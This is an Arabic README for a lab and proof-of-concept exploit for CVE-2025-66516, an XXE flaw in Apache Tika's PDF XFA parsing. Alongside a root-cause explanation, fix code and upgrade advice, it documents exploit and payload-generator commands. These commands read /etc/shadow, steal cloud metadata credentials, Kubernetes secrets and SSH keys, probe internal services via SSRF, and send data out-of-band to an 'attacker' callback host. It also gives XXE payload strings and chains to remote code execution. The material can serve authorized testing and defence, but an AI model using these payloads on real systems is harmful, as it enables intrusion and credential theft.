
CVE-2025-66516 استغلال عامل، ماسح ضوئي، شرح.
CVE-2025-66516 هي ثغرة حقن كيان خارجي XML (XXE) حرجة في Apache Tika بدرجة CVSS 10.0 (أقصى خطورة). تسمح الثغرة للمهاجمين عن بعد بقراءة ملفات عشوائية، وتنفيذ تزوير طلب الخادم (SSRF)، وتسريب بيانات حساسة عن طريق تحميل مستند PDF مصمم خصيصًا يحتوي على محتوى XFA (هندسة نماذج XML) ضار.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2025-66516 |
| درجة CVSS | 10.0 (حرجة) |
| تاريخ الكشف | 4 ديسمبر 2025 |
| البائع | مؤسسة برمجيات Apache |
| المنتج المتأثر | Apache Tika |
| ناقل الهجوم | الشبكة (عن بعد) |
| المصادقة | لا شيء مطلوب |
| المكون | الإصدارات المعرضة للخطر | الإصدار الثابت |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
هام: تلغي هذه CVE الإصدار CVE-2025-54988، الذي حدد بشكل غير صحيح وحدة PDF فقط على أنها معرضة للخطر. توجد الثغرة الفعلية في tika-core.
الثغرة هي عيب حقن كيان خارجي XML (XXE) في كيفية معالجة Apache Tika لبيانات XFA (هندسة نماذج XML) داخل مستندات PDF.
المشكلة: يعتمد Tika على محللات Java XML الأساسية (تحديدًا محلل StAX) لقراءة محتوى XFA XML. فشلت الإصدارات المعرضة للخطر في تكوين المحلل بشكل صحيح لتعطيل حل الكيانات الخارجية. عندما يواجه المحلل طلب كيان خارجي (مثل SYSTEM "file:///etc/passwd"), فإنه يقوم بحله وإرجاع محتويات الملف.
الموقع: العيب موجود في XMLReaderUtils.getXMLInputFactory() في tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineffective
return factory;
}
كان IGNORING_STAX_ENTITY_RESOLVER يهدف إلى حظر XXE عن طريق إرجاع نتيجة فارغة، لكنه أرجع String بدلاً من InputStream المتوقع. تجاهل محلل StAX الافتراضي في JDK هذا النوع الخاطئ من الإرجاع بصمت وعاد إلى السلوك الافتراضي، الذي يحل الكيانات الخارجية.
يقوم الإصلاح بتعطيل دعم DTD والكيانات الخارجية صراحة على مستوى المصنع:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
بالإضافة إلى ذلك، تم تغيير المحلل لإرجاع نوع InputStream مناسب.
في النظام البيئي Java، توجد مكتبات متعددة لمحللات XML. تستخدم التطبيقات أي محلل تم تكوينه أو العثور عليه أولاً في مسار الفئة.
ما هو Woodstox؟ Woodstox هو محلل StAX XML عالي الأداء مفتوح المصدر يُجمَّع عادةً مع تطبيقات Java.
كيف يوفر الحماية: حسب التصميم (وليس عن طريق الصدفة)، يتعامل تنفيذ Woodstox بشكل صحيح مع نوع الإرجاع لـ XMLResolver. عندما يتلقى Woodstox قيمة الإرجاع النصية من IGNORING_STAX_ENTITY_RESOLVER، فإنه يعاملها كمحتوى فارغ صالح، مما يمنع XXE بشكل فعال.
التمييز الحرج:
tika-server-standard.jar يضم Woodstox - غير معرض للخطرtika-core + وحدات المحلل (الاستخدام المضمن) لا يضم Woodstox - معرض للخطر# 1. Start the lab environment
docker-compose up -d --build
# 2. Test against vulnerable Tika (JDK StAX, port 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extract /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Compare with protected Tika (Woodstox, port 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Lab orchestration
|-- vulnerable-tika/
| |-- Dockerfile # Tika with Woodstox (protected)
| +-- Dockerfile.jdk-stax # Tika without Woodstox (VULNERABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Flask upload application
| +-- templates/
|-- poc/
| |-- exploit.py # Automated exploitation tool
| +-- generate_payload.py # Malicious PDF generator
+-- README.md
docker-compose up -d --build
exploit.py)استغلال كامل السلسلة مع توليد تلقائي للحمولة واستخراج البيانات.
# Check if target is vulnerable
python poc/exploit.py --url http://target:9998 --check
# Read local files
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# AWS metadata theft (EC2 instances)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Kubernetes secrets
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF to internal services
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Save extracted data
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)ينشئ ملفات PDF ضارة للاختبار اليدوي أو التكامل مع أدوات أخرى.
# Generate payload for specific file
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Generate SSRF payload
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Generate OOB exfiltration payload
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Use attack mode presets
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# List available attack modes
python poc/generate_payload.py --list-modes
أوضاع الهجوم المتاحة:
file_read - قراءة الملفات المحلية (/etc/passwd, /etc/shadow, إلخ.)ssh_keys - سرقة مفاتيح SSH الخاصةaws_metadata - بيانات AWS EC2 الوصفية وبيانات اعتماد IAMgcp_metadata - رموز حسابات خدمة GCPazure_metadata - رموز الهوية المدارة لـ Azurek8s_secrets - بيانات اعتماد حساب خدمة Kuberneteswebapp_configs - تكوينات تطبيقات الويب الشائعةssrf_internal - استكشاف الخدمات الداخليةالاختبار ضد Tika 2.9.2 بدون Woodstox (محاكاة النشر المضمن):
| الاختبار | النتيجة |
|---|---|
| اكتشاف XFA | [نجاح] تم التعرف على PDF على أنه يحتوي على XFA |
| تحليل XFA | [نجاح] تم استخراج محتوى XFA |
| قراءة ملف XXE | [معرض للخطر] تم تسريب محتويات /etc/passwd |
| XXE SSRF | [معرض للخطر] تم إرسال طلبات خارجية |
دليل الاستغلال:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
الاختبار ضد Tika 2.9.2 مع Woodstox (tika-server-standard.jar القياسي):
| الاختبار | النتيجة |
|---|---|
| اكتشاف XFA | [نجاح] تم التعرف على PDF على أنه يحتوي على XFA |
| تحليل XFA | [نجاح] تم استخراج محتوى XFA |
| قراءة ملف XXE | [مُحجوب] لم يتم حل الكيانات الخارجية |
| XXE SSRF | [مُحجوب] لا توجد اتصالات صادرة |
يظهر الإخراج كيانًا فارغًا:
<li fieldName="data">data: </li>
الثغرة حقيقية وحرجة. يعتمد الاستغلال على تنفيذ StAX:
tika-server-standard.jar - Woodstox المضمن يمنع XXEهجوم XXE هو في الأساس ثغرة قراءة ملف/SSRF، وليس RCE مباشر. ومع ذلك، فإنه يمكّن عدة مسارات هجوم:
| الهجوم | مثال الحمولة |
|---|---|
| قراءة ملف | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| بيانات AWS الوصفية | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| السيناريو | مسار الهجوم |
|---|---|
| AWS EC2 | XXE -> SSRF إلى البيانات الوصفية -> بيانات اعتماد IAM -> RCE في AWS CLI |
ترقية Apache Tika إلى الإصدار 3.2.2 أو أحدث
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
التحقق من تحديث جميع مكونات Tika (tika-core ووحدات المحلل)
| نوع النشر | مستوى المخاطرة |
|---|---|
| tika-server-standard.jar | منخفض - Woodstox يخفف |
| Tika المضمن (استخدام المكتبة) | عالي - من المحتمل أن يكون معرضًا للخطر |
| مخصص بدون Woodstox | عالي - معرض للخطر |
المشكلة 1: الاستغلال الأولي لم يعمل
المشكلة 2: خطأ إعلانات XML متعددة
WstxParsingException: Illegal processing instruction target ("xml")المشكلة 3: لغز Woodstox
المشكلة 4: اختبار التكوين الخاطئ
| التاريخ | الحدث |
|---|---|
| أغسطس 2025 | تم الكشف عن CVE-2025-54988 (نطاق غير مكتمل) |
| 4 ديسمبر 2025 | تم نشر CVE-2025-66516 (تم تحديد النطاق الكامل) |
| 4 ديسمبر 2025 | تم إصدار Apache Tika 3.2.2 مع الإصلاح |
بيئة المختبر هذه ورمز إثبات المفهوم مقدمان لاختبار الأمان المصرح به والأغراض التعليمية والبحث الدفاعي فقط.
لا تستخدم هذه الأدوات ضد الأنظمة دون إذن كتابي صريح.
هذه المادة البحثية مقدمة للأغراض التعليمية. استخدمها بمسؤولية.
| الخدمة | المنفذ | الوصف |
|---|
| تطبيق الويب | 8080 | واجهة تحميل المستندات |
| Tika (Woodstox) | 9998 | محمي - غير معرض للخطر |
| Tika (JDK StAX) | 9997 | معرض للخطر - لا يوجد Woodstox |
| مستمع المهاجم | 9999 | خادم HTTP لاختبار OOB |
| Kubernetes | XXE -> قراءة رمز حساب الخدمة -> kubectl exec |
| Jenkins داخلي | XXE -> SSRF إلى وحدة التحكم بالبرنامج النصي -> Groovy RCE |
| قاعدة بيانات | XXE -> قراءة ملفات التكوين -> الوصول إلى قاعدة البيانات |
| SSH | XXE -> قراءة مفاتيح SSH -> الوصول عن بعد إلى الصدفة |